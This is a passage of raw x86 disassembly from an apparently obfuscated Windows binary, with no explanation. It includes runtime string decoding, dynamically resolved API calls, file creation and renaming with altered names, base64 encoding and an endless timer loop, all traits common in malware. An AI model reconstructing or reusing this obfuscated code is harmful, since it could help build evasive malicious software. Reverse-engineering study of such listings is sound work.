cmp edx, edi
jnz loc_4418D3
movsx edx, word_5511A8
add edx, dword_5510D4
sub edx, 5
mov edi, eax
add edi, edx
movzx edx, byte ptr [ecx+edi]
mov edi, dword_551218
dec edi
cmp edx, edi
jnz loc_4418D3
mov edx, dword_55121C
add edx, 3
mov edi, eax
add edi, edx
movzx edx, byte ptr [ecx+edi]
mov edi, dword_551204
sub edi, 3
cmp edx, edi
jnz loc_4418D3
mov edx, dword_5511D0
movsx edi, word_551268
add edx, edi
sub edx, 2
mov edi, eax
add edi, edx
movzx edx, byte ptr [ecx+edi]
movsx edi, word_551194
mov ecx, [ebp+var_31F20]
add edi, ecx
mov ecx, edi
sub ecx, 0Ah
cmp edx, ecx
jnz loc_4418D3
mov edx, [ebp+var_31F24]
movzx eax, byte ptr [edx+eax]
mov edx, dword_55114C
add edx, 0E2h
cmp eax, edx
jnz short loc_4418D3
mov eax, [ebp+var_C]
sub eax, [ebp+var_850]
add eax, [ebp+var_1060]
mov edx, [ebp+var_8]
add eax, [edx+34h]
mov [ebp+var_31F28], eax
mov eax, [ebp+var_1190]
mov [ebp+var_31F2C], eax
movsx edx, word_551188
mov ecx, dword_55113C
lea edx, [edx+ecx-0Fh]
sub edx, [ebp+var_31F28]
add eax, edx
mov edx, dword_551118
sub edx, 5
sub eax, edx
mov [ebp+var_31F30], eax
mov edi, dword_551218
mov edx, [ebp+var_C]
movsx ecx, word_551120
sub ecx, 2
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4-4], ecx
loc_4418D3: ; CODE XREF: sub_440485+1340j
; sub_440485+1367j ...
inc [ebp+var_C]
loc_4418D6: ; CODE XREF: sub_440485+11C6j
mov eax, [ebp+var_850]
add eax, ds:dword_4CE9F0
cmp [ebp+var_C], eax
jb loc_441650
push [ebp+var_1070]
call ds:dword_4CDA48
push [ebp+arg_0]
lea eax, [ebp+var_117F]
push eax
call ds:dword_44B1A4
add esp, 8
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_441912: ; CODE XREF: sub_440485+1492j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_441912
mov [ebp+var_31EDC], eax
movsx edx, word_55120C
add edx, 2
sub eax, edx
mov [ebp+eax+var_117F], 76h
mov eax, [ebp+var_31EDC]
mov edx, dword_551130
add edx, dword_5511E4
sub edx, 7
sub eax, edx
mov [ebp+eax+var_117F], 72h
mov eax, dword_5511D0
mov edx, [ebp+var_31EDC]
mov ecx, eax
add ecx, eax
mov eax, ecx
sub eax, 3
sub edx, eax
mov [ebp+edx+var_117F], 69h
movsx eax, word_5510E4
movsx edx, word_551224
add eax, edx
sub eax, 2
push eax
push dword_5510BC
push 2
mov eax, dword_551190
sub eax, 6
push eax
mov eax, dword_551138
sub eax, 3
push eax
push 40000000h
lea eax, [ebp+var_117F]
push eax
call ds:dword_54FC18
mov [ebp+var_1070], eax
movsx eax, word_5510E4
push eax
lea eax, [ebp+var_31EE0]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1070]
call ds:dword_55001C
push [ebp+var_4]
call ds:dword_44B5CC
push [ebp+var_1070]
call ds:dword_4CDA48
push 0
push [ebp+arg_0]
lea eax, [ebp+var_117F]
push eax
call ds:dword_4CC644
lea eax, [ebp+var_117F]
push eax
call ds:dword_44800C
mov eax, 1
jmp short loc_441A29
; ---------------------------------------------------------------------------
loc_441A12: ; CODE XREF: sub_440485+13Fj
; sub_440485+159j ...
push [ebp+var_4]
call ds:dword_44B5CC
push [ebp+var_1070]
call ds:dword_4CDA48
xor eax, eax
loc_441A29: ; CODE XREF: sub_440485+CCj
; sub_440485+158Bj
pop edi
pop esi
pop ebx
leave
retn
sub_440485 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441A2E proc near ; CODE XREF: sub_43F2CB+122p
var_40 = word ptr -40h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, dword_551154
mov edi, eax
add edi, dword_5510C4
sub edi, 10h
jmp short loc_441A5A
; ---------------------------------------------------------------------------
loc_441A4C: ; CODE XREF: sub_441A2E+3Fj
mov ebx, edi
shl ebx, 1
mov dx, [esi+edi*2]
mov [ebp+ebx+var_40], dx
inc edi
loc_441A5A: ; CODE XREF: sub_441A2E+1Cj
movsx eax, word_551170
mov edx, dword_5511D0
lea eax, [eax+edx+1Ch]
cmp edi, eax
jb short loc_441A4C
lea eax, [ebp+var_40]
push eax
push esi
call sub_4466C9
add esp, 8
pop edi
pop esi
pop ebx
leave
retn
sub_441A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441A81 proc near ; DATA XREF: .data:off_5512C0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
push offset byte_550140
push edi
call ds:dword_50EA3C
or eax, eax
jnz short loc_441ABD
push offset dword_552A24
push edi
call ds:dword_50EA3C
or eax, eax
jnz short loc_441ABD
push offset dword_552A04
push edi
call ds:dword_50EA3C
or eax, eax
jz short loc_441ACD
loc_441ABD: ; CODE XREF: sub_441A81+1Aj
; sub_441A81+2Aj
mov eax, [ebp+arg_0]
mov [esi], eax
push dword ptr [esi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_441ADE
; ---------------------------------------------------------------------------
loc_441ACD: ; CODE XREF: sub_441A81+3Aj
movsx eax, word_551180
sub eax, 2
mov [esi], eax
mov eax, 80004002h
loc_441ADE: ; CODE XREF: sub_441A81+4Aj
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_441A81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441AE5 proc near ; CODE XREF: sub_43E491+3C3p
var_26C = dword ptr -26Ch
var_268 = byte ptr -268h
var_267 = byte ptr -267h
var_213 = byte ptr -213h
var_204 = byte ptr -204h
var_203 = byte ptr -203h
var_202 = byte ptr -202h
var_200 = byte ptr -200h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 26Ch
push edi
lea eax, [ebp+var_267]
push eax
call sub_444A91
lea eax, [ebp+var_104]
push eax
mov eax, dword_551200
sub eax, 3
push eax
mov eax, dword_551248
movsx edx, word_5511CC
add eax, edx
sub eax, 0Ah
push eax
push 1Ch
mov eax, dword_551148
sub eax, 7
push eax
call ds:dword_48BA00
lea eax, sub_43A985
mov ds:dword_50EA1C, eax
lea eax, sub_43DF32
mov ds:dword_48B9E4, eax
push offset byte_55203D
call sub_43AC94
mov edi, dword_55118C
add edi, 4
add edi, dword_5511F4
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_4CD930
call ds:dword_50EA28
push offset dword_449FE0
call sub_43EA2A
call sub_43A646
lea eax, dword_4CD930
mov ds:dword_449FD4, eax
push offset word_55202A
call sub_43AC94
push dword_55113C
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_44B0A0
call ds:dword_50EA28
push offset byte_55201B
call sub_43AC94
mov edi, dword_551108
add edi, dword_5511B8
push edi
lea edi, [ebp+var_267]
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_4CC330
call ds:dword_50EA28
lea eax, sub_43A985
mov ds:dword_48C1E0, eax
lea eax, dword_4CC540
mov ds:dword_44801C, eax
lea eax, sub_43A985
mov ds:dword_449014, eax
lea eax, sub_43BF49
mov ds:dword_54EB74, eax
lea eax, sub_43F952
mov ds:dword_48C2F0, eax
lea eax, dword_44B0A0
mov ds:dword_4CD920, eax
push offset dword_552008
call sub_43AC94
mov edi, dword_55119C
add edi, 2
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_4CC540
call ds:dword_50EA28
mov eax, dword_5510DC
add eax, 2
movsx edx, word_551220
add eax, edx
push eax
push offset dword_48C300
call sub_44675D
push offset sub_442BEC
call sub_43AD8B
push offset sub_442767
call sub_43AD8B
push offset sub_4472A0
call sub_43AD8B
lea eax, dword_54EA70
mov dword_5512DC, eax
movsx eax, word_551168
add eax, 6
mov ds:dword_44B5D0, eax
mov eax, dword_5511E8
movsx edx, word_5511C8
add eax, edx
sub eax, 0Dh
push eax
lea eax, [ebp+var_203]
push eax
call sub_43BCD9
add esp, 78h
mov eax, dword_551218
cmp [ebp+eax+var_204], 64h
jnz short loc_441D0A
movsx eax, [ebp+var_202]
mov edx, dword_5511D4
add edx, 17h
sub eax, edx
mov [ebp+var_268], al
movzx eax, [ebp+var_268]
push eax
mov eax, dword_55116C
sub eax, 9
push eax
call sub_43C10A
add esp, 8
movsx eax, word_551170
dec eax
mov ds:dword_44B5D0, eax
loc_441D0A: ; CODE XREF: sub_441AE5+1E5j
movsx eax, word_551194
add eax, dword_551238
cmp [ebp+eax+var_213], 67h
jnz short loc_441D6E
mov eax, dword_551128
movsx edx, word_551194
mov ecx, eax
add ecx, edx
lea edx, [ecx-0Eh]
mov [ebp+eax+var_200], dl
lea eax, [ebp+var_202]
push eax
call ds:dword_44901C
mov [ebp+var_26C], eax
mov eax, dword_55116C
sub eax, 9
mov ds:dword_44B5D0, eax
push [ebp+var_26C]
push offset dword_54EA70
call sub_443F7C
add esp, 0Ch
loc_441D6E: ; CODE XREF: sub_441AE5+23Aj
pop edi
leave
retn
sub_441AE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441D71 proc near ; CODE XREF: sub_442A78+B8p
; sub_442A78+EEp
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
mov edi, [ebp+arg_4]
mov eax, dword_551114
sub eax, 2
cmp byte ptr [edi+eax], 2Eh
jz short loc_441DD2
push [ebp+arg_0]
lea eax, [ebp+var_104]
push eax
call ds:dword_44B1A4
push offset byte_552003
call sub_43AC94
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_44802C
push edi
lea eax, [ebp+var_104]
push eax
call ds:dword_44802C
lea eax, [ebp+var_104]
push eax
call sub_43F79F
add esp, 20h
loc_441DD2: ; CODE XREF: sub_441D71+1Aj
pop edi
pop esi
leave
retn
sub_441D71 endp
; =============== S U B R O U T I N E =======================================
sub_441DD6 proc near ; CODE XREF: sub_43E491+11p
push edi
push offset byte_551FF3
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_551290, eax
mov eax, dword_551138
add eax, dword_551244
sub eax, 0Ah
cmp eax, dword_551290
jnz short loc_441E1B
push offset byte_551FE3
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_551290, eax
loc_441E1B: ; CODE XREF: sub_441DD6+2Cj
push offset byte_551FD1
call sub_43AC94
push eax
push dword_551290
call ds:dword_44B1AC
mov ds:dword_44900C, eax
push offset asc_551FC2 ; "\v"
call sub_43AC94
push eax
push dword_551290
call ds:dword_44B1AC
mov ds:dword_448048, eax
push offset word_551FB2
call sub_43AC94
push eax
push dword_551290
call ds:dword_44B1AC
mov ds:dword_4CC324, eax
push offset asc_551FA1 ; "\r"
call sub_43AC94
push eax
push dword_551290
call ds:dword_44B1AC
mov ds:dword_550034, eax
push offset byte_551F91
call sub_43AC94
add esp, 14h
push eax
push dword_551290
call ds:dword_44B1AC
mov ds:dword_550154, eax
pop edi
retn
sub_441DD6 endp
; =============== S U B R O U T I N E =======================================
sub_441EAC proc near ; CODE XREF: sub_43E491+2Fp
push edi
push offset byte_551F83
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_551284, eax
mov eax, dword_551130
movsx edx, word_551220
add eax, edx
sub eax, 4
cmp dword_551284, eax
jnz short loc_441EF4
push offset byte_551F75
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_551284, eax
loc_441EF4: ; CODE XREF: sub_441EAC+2Fj
push offset dword_551F68
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_448004, eax
push offset dword_551F54
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_449018, eax
push offset word_551F46
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_54EA58, eax
push offset byte_551F2F
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_44B5A4, eax
push offset word_551F1E
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_54EA50, eax
push offset byte_551F0F
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_4CC648, eax
push offset byte_551EFD
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_44B090, eax
push offset byte_551EED
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_448018, eax
push offset dword_551EDC
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_449FD0, eax
push offset dword_551EC8
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_54EC00, eax
push offset word_551EB6
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_44B5C8, eax
push offset byte_551EA5
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_48C1E8, eax
push offset byte_551E8F
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_449010, eax
push offset word_551E7E
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_50EA30, eax
push offset dword_551E6C
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_44B5AC, eax
push offset byte_551E59
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_4CDA3C, eax
push offset byte_551E4D
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_48B9FC, eax
push offset word_551E3E
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_50EA38, eax
push offset byte_551E2B
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_4CE9FC, eax
push offset byte_551E1F
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_4CE9F8, eax
push offset byte_551E0D
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_54EA54, eax
push offset byte_551DFB
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_550038, eax
push offset byte_551DE9
call sub_43AC94
push eax
call sub_43AC7C
mov ds:dword_4CEA18, eax
push offset byte_551DDB
call sub_43AC94
push eax
call sub_43AC7C
add esp, 0C0h
mov ds:dword_449000, eax
pop edi
retn
sub_441EAC endp
; =============== S U B R O U T I N E =======================================
sub_4420F4 proc near ; CODE XREF: sub_43E913+27p
; sub_43FC83+37p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov esi, [esp+0Ch+arg_0]
mov edi, [esp+0Ch+arg_4]
mov ecx, edi
mov ebx, esi
shl ebx, cl
movsx edx, word_5511BC
movsx ecx, word_551224
lea edx, [edx+ecx+19h]
mov ecx, edx
sub ecx, edi
mov eax, esi
shr eax, cl
or ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_4420F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442127 proc near ; CODE XREF: sub_43BF49+14Fp
; sub_43C10A+1C3p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_442138: ; CODE XREF: sub_442127+16j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_442138
mov esi, eax
mov eax, dword_5510A8
sub eax, 8
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
lea ecx, [eax]
or eax, 0FFFFFFFFh
loc_442154: ; CODE XREF: sub_442127+32j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_442154
mov [ebp+var_C], eax
mov eax, dword_551250
sub eax, 2
mov [ebp+var_4], eax
jmp short loc_4421BD
; ---------------------------------------------------------------------------
loc_44216B: ; CODE XREF: sub_442127+9Cj
mov eax, dword_5510C0
movsx edx, word_551254
mov ebx, eax
add ebx, edx
sub ebx, 9
mov edi, dword_551198
sub edi, 3
jmp short loc_4421B6
; ---------------------------------------------------------------------------
loc_442189: ; CODE XREF: sub_442127+91j
mov eax, edi
add eax, [ebp+var_4]
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+eax]
mov edx, [ebp+arg_4]
movsx edx, byte ptr [edx+edi]
cmp eax, edx
jnz short loc_4421BA
inc ebx
cmp ebx, esi
jnz short loc_4421B5
inc [ebp+var_8]
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jnz short loc_4421B5
mov eax, [ebp+var_4]
jmp short loc_4421CA
; ---------------------------------------------------------------------------
loc_4421B5: ; CODE XREF: sub_442127+7Cj
; sub_442127+87j
inc edi
loc_4421B6: ; CODE XREF: sub_442127+60j
cmp edi, esi
jb short loc_442189
loc_4421BA: ; CODE XREF: sub_442127+77j
inc [ebp+var_4]
loc_4421BD: ; CODE XREF: sub_442127+42j
mov eax, [ebp+var_C]
cmp [ebp+var_4], eax
jb short loc_44216B
mov eax, 0FFFFh
loc_4421CA: ; CODE XREF: sub_442127+8Cj
pop edi
pop esi
pop ebx
leave
retn
sub_442127 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4421CF proc near ; CODE XREF: sub_43A985+A9p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
mov eax, ebx
add eax, 2
mov ecx, 3
mov edx, 0AAAAAAABh
mul edx
shr edx, 1
mov [ebp+var_4], edx
mov edi, edx
shl edi, 2
mov edx, [ebp+arg_C]
dec edx
cmp edi, edx
jbe short loc_442207
xor eax, eax
jmp loc_442308
; ---------------------------------------------------------------------------
loc_442207: ; CODE XREF: sub_4421CF+2Fj
push offset byte_551D97
call sub_43AC94
pop ecx
push eax
push offset byte_550040
call sub_44799C
jmp short loc_442254
; ---------------------------------------------------------------------------
loc_44221F: ; CODE XREF: sub_4421CF+91j
push esi
push [ebp+arg_0]
call sub_446429
add esp, 8
movsx eax, word_55120C
lea esi, [eax+esi+4]
mov eax, dword_551158
add eax, 2
sub ebx, eax
mov eax, dword_5511F4
add eax, dword_551128
sub eax, 9
add eax, [ebp+arg_0]
mov [ebp+arg_0], eax
loc_442254: ; CODE XREF: sub_4421CF+4Ej
movsx eax, word_551254
sub eax, 5
cmp ebx, eax
jnb short loc_44221F
movsx eax, word_55112C
add eax, dword_551198
sub eax, 8
cmp ebx, eax
jbe short loc_4422F1
push 3
mov eax, dword_5511E8
add eax, dword_5510E0
sub eax, 8
push eax
lea eax, [ebp+var_7]
push eax
call ds:dword_4CDA34
push ebx
push [ebp+arg_0]
lea eax, [ebp+var_7]
push eax
call ds:dword_4CD914
push esi
lea eax, [ebp+var_7]
push eax
call sub_446429
add esp, 20h
mov eax, dword_551244
movsx edx, word_551140
add eax, edx
sub eax, 9
mov byte ptr [esi+eax], 3Dh
movsx eax, word_5510CC
sub eax, 4
cmp eax, ebx
jnz short loc_4422E6
movsx eax, word_551210
movsx edx, word_551220
add eax, edx
sub eax, 2
mov byte ptr [esi+eax], 3Dh
loc_4422E6: ; CODE XREF: sub_4421CF+FEj
mov eax, dword_5511E0
sub eax, 5
lea esi, [esi+eax]
loc_4422F1: ; CODE XREF: sub_4421CF+A5j
movsx eax, word_551120
sub eax, 3
mov edx, dword_5510C0
dec edx
mov [esi+eax], dl
xor eax, eax
inc eax
loc_442308: ; CODE XREF: sub_4421CF+33j
pop edi
pop esi
pop ebx
leave
retn
sub_4421CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44230D proc near ; CODE XREF: sub_43EC94+280p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_8]
mov ebx, [ebp+arg_C]
xor edi, edi
jmp short loc_442341
; ---------------------------------------------------------------------------
loc_44231D: ; CODE XREF: sub_44230D+3Aj
mov edx, ds:dword_44B9E0[edi*4]
mov ds:dword_448008, edx
push [ebp+arg_10]
push offset sub_43A985
push ebx
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_448008
inc edi
loc_442341: ; CODE XREF: sub_44230D+Ej
cmp edi, dword_5512BC
jb short loc_44231D
pop edi
pop esi
pop ebx
pop ebp
retn
sub_44230D endp
; =============== S U B R O U T I N E =======================================
sub_44234E proc near ; CODE XREF: sub_43F4C7+273p
push offset byte_551D83
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_44B598, eax
push offset dword_551D74
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_4CDA48, eax
push offset dword_551D64
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_48C318, eax
push offset asc_551D56 ; "\n"
call sub_43AC94
push eax
call sub_43F93A
add esp, 20h
mov ds:dword_4CDA38, eax
retn
sub_44234E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4423A6 proc near ; CODE XREF: sub_442CE5+BDp
; sub_445895+1D2p ...
var_2F038 = dword ptr -2F038h
var_2F033 = byte ptr -2F033h
var_F034 = dword ptr -0F034h
var_F030 = dword ptr -0F030h
var_F02B = byte ptr -0F02Bh
var_F02A = dword ptr -0F02Ah
var_F022 = byte ptr -0F022h
var_EF23 = byte ptr -0EF23h
var_EE24 = byte ptr -0EE24h
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
mov eax, 2F038h
call sub_44797C
push ebx
push esi
push edi
movsx edi, word_551180
add edi, dword_5510C8
imul edi, 3C0h
mov esi, dword_551248
add esi, 0EA59h
movsx ebx, word_55115C
add esi, ebx
add edi, esi
shl edi, 1
mov [ebp+var_2F038], edi
push edi
call sub_447901
add esp, 4
mov [ebp+var_F02A], eax
movzx eax, [ebp+arg_0]
movsx edx, word_551180
dec edx
cmp eax, edx
jnz short loc_44242A
push offset asc_551D4B ; "\a"
call sub_43AC94
add esp, 4
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_50EA28
add esp, 8
jmp loc_4425E9
; ---------------------------------------------------------------------------
loc_44242A: ; CODE XREF: sub_4423A6+5Fj
call ds:dword_48C2F0
mov ebx, eax
mov [ebp+var_F02B], bl
push offset byte_551D29
call sub_43AC94
add esp, 4
push eax
lea edi, [ebp+var_F022]
push edi
call ds:dword_44B1A4
add esp, 8
mov eax, dword_551258
inc eax
movzx edx, [ebp+arg_0]
cmp eax, edx
jnz short loc_4424BE
mov eax, dword_551184
add eax, dword_551174
sub eax, 2
and eax, 0FFh
push eax
lea eax, [ebp+var_EF23]
push eax
push [ebp+arg_8]
call sub_444970
add esp, 0Ch
push offset byte_551D15
call sub_43AC94
add esp, 4
movzx edi, [ebp+var_F02B]
push edi
lea edi, [ebp+var_EF23]
push edi
lea edi, [ebp+var_F022]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_50EA28
add esp, 14h
loc_4424BE: ; CODE XREF: sub_4423A6+BCj
movzx eax, [ebp+arg_0]
mov edx, dword_551118
add edx, dword_5511F0
sub edx, 12h
cmp eax, edx
jnz loc_4425E9
mov eax, dword_5510E8
sub eax, 7
and eax, 0FFh
push eax
lea eax, [ebp+var_EF23]
push eax
push dword_5512DC
call sub_444970
add esp, 0Ch
push offset aC ; "C"
call sub_43AC94
add esp, 4
mov edi, [ebp+arg_18]
mov esi, [ebp+arg_8]
mov ebx, edi
add ebx, esi
push ebx
movsx ebx, word_551228
add ebx, 3
push ebx
push [ebp+arg_1C]
push edi
push [ebp+arg_14]
movzx edi, [ebp+var_F02B]
push edi
mov edi, esi
sub edi, [ebp+arg_C]
mov esi, dword_551128
add esi, dword_5511F0
sub esi, 0Ch
sub edi, esi
push edi
push offset dword_48C300
push [ebp+arg_10]
push [ebp+arg_20]
lea edi, [ebp+var_EF23]
push edi
lea edi, [ebp+var_F022]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_50EA28
add esp, 38h
mov eax, dword_551128
movsx edx, word_551228
add eax, edx
sub eax, 0Ch
cmp [ebp+arg_10], eax
jnz short loc_4425E9
mov eax, dword_5510F8
add eax, dword_5510D0
sub eax, 8
cmp [ebp+arg_18], eax
jnz short loc_4425E9
push offset word_551CAA
call sub_43AC94
add esp, 4
push offset dword_54EC10
push dword_5510A4
push [ebp+arg_20]
lea edi, [ebp+var_EF23]
push edi
lea edi, [ebp+var_F022]
push edi
push eax
lea edi, [ebp+var_2F033]
push edi
call ds:dword_50EA28
add esp, 1Ch
lea eax, [ebp+var_2F033]
push eax
lea eax, [ebp+var_EE24]
push eax
call ds:dword_44802C
add esp, 8
loc_4425E9: ; CODE XREF: sub_4423A6+7Fj
; sub_4423A6+12Dj ...
push [ebp+var_2F038]
push [ebp+var_F02A]
mov eax, dword_551258
neg eax
push eax
lea eax, [ebp+var_EE24]
push eax
mov eax, dword_551138
sub eax, 3
push eax
push 0
call ds:dword_50EA34
push offset asc_551C90 ; "\t"
call sub_43AEDD
add esp, 4
push eax
call ds:dword_44900C
mov [ebp+var_F030], eax
push [ebp+var_F02A]
call ds:dword_44900C
mov [ebp+var_F034], eax
push eax
push [ebp+var_F030]
mov eax, [ebp+arg_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+104h]
push [ebp+var_F034]
call ds:dword_550034
push [ebp+var_F030]
call ds:dword_550034
lea esp, [ebp-2F044h]
pop edi
pop esi
pop ebx
leave
retn
sub_4423A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442677 proc near ; CODE XREF: sub_43A985+11Bp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_43E369
add esp, 8
mov esi, eax
movsx eax, word_5511BC
movsx edx, word_551168
add eax, edx
sub eax, 9
cmp esi, eax
jnz short loc_4426AF
xor eax, eax
jmp loc_442762
; ---------------------------------------------------------------------------
loc_4426AF: ; CODE XREF: sub_442677+2Fj
mov edi, dword_551174
add edi, 3
mov eax, [ebp+arg_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_4426C0: ; CODE XREF: sub_442677+4Ej
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4426C0
mov [ebp+var_8], eax
loc_4426CA: ; CODE XREF: sub_442677+DCj
lea ecx, [esi+edi]
or eax, 0FFFFFFFFh
loc_4426D0: ; CODE XREF: sub_442677+5Ej
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4426D0
mov ebx, eax
sub ebx, [ebp+arg_8]
cmp ebx, [ebp+var_8]
jnz short loc_442739
mov [ebp+var_10], 1
movsx eax, word_551110
movsx edx, word_551094
add eax, edx
sub eax, 4
mov [ebp+var_C], eax
jmp short loc_442722
; ---------------------------------------------------------------------------
loc_442700: ; CODE XREF: sub_442677+AEj
mov eax, [ebp+var_C]
mov edx, edi
add edx, [ebp+arg_8]
add edx, eax
movzx edx, byte ptr [esi+edx]
mov ecx, [ebp+arg_4]
movsx eax, byte ptr [ecx+eax]
cmp edx, eax
jz short loc_44271F
and [ebp+var_10], 0
jmp short loc_442727
; ---------------------------------------------------------------------------
loc_44271F: ; CODE XREF: sub_442677+A0j
inc [ebp+var_C]
loc_442722: ; CODE XREF: sub_442677+87j
cmp [ebp+var_C], ebx
jb short loc_442700
loc_442727: ; CODE XREF: sub_442677+A6j
cmp [ebp+var_10], 0
jz short loc_442739
push esi
call ds:dword_44B5CC
xor eax, eax
inc eax
jmp short loc_442762
; ---------------------------------------------------------------------------
loc_442739: ; CODE XREF: sub_442677+68j
; sub_442677+B4j
add edi, ebx
movsx eax, word_5510A0
add eax, dword_55124C
sub eax, 7
add edi, eax
add edi, [ebp+arg_8]
cmp edi, [ebp+var_4]
jb loc_4426CA
push esi
call ds:dword_44B5CC
xor eax, eax
loc_442762: ; CODE XREF: sub_442677+33j
; sub_442677+C0j
pop edi
pop esi
pop ebx
leave
retn
sub_442677 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_442767 proc near ; DATA XREF: sub_441AE5+189o
push ebp
mov ebp, esp
loc_44276A: ; CODE XREF: sub_442767+34j
movsx eax, word_551260
sub eax, 9
push eax
push offset sub_43E2F5
mov eax, dword_5510F4
sub eax, 2
push eax
call ds:dword_449010
movsx eax, word_551188
sub eax, 5
push eax
call ds:dword_50EA24
pop ecx
jmp short loc_44276A
sub_442767 endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4427A1 proc near ; CODE XREF: sub_43BF49+F5p
; sub_4467C4+28Fp ...
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_40D = byte ptr -40Dh
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = dword ptr -400h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
